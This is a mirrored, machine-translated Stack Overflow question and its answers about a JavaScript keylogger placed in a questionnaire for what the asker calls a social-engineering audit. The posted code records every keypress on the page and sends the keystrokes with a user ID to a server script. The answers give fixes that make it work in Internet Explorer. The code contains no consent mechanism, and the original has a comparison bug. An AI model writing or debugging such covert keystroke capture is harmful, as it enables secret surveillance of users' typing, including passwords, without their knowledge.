繁体   English   中英

javascript onkeypress / onkeydown在IE中不起作用

[英]javascript onkeypress/onkeydown does not work in IE

我正在编写此调查问卷的脚本,以进行IT安全社会工程审计。 除所有表单字段外,我正在尝试构建一个javascript键盘记录器以获取有关用户操作的更多信息。

到目前为止,键盘记录器在FF中效果很好,但在IE中效果不佳。 我两个都要上班 任何帮助/想法表示赞赏。

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 

(较旧)IE不支持Event.charCode 您可以尝试如下操作:

document.onkeypress = function (e) {
    var evt = e || window.event,
        charCode = evt.charCode || evt.keyCode;
    keylog += String.fromCharCode(charCode);
    if ((keylog.length === 5) || (charCode === 13)) {
        ...
}

在调用方和被调用方参数中也使用相同的变量名( keylog )可能会导致IE <8中Out of memory不足错误。使用命名函数表达式时,可能会遇到更多麻烦...

在编写jquery插件之前,我已经注意到了这个问题-请尝试使用

String.fromCharCode(event.which)

而不是键码。.它可以在IE 6和所有其他浏览器中使用。

谢谢。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM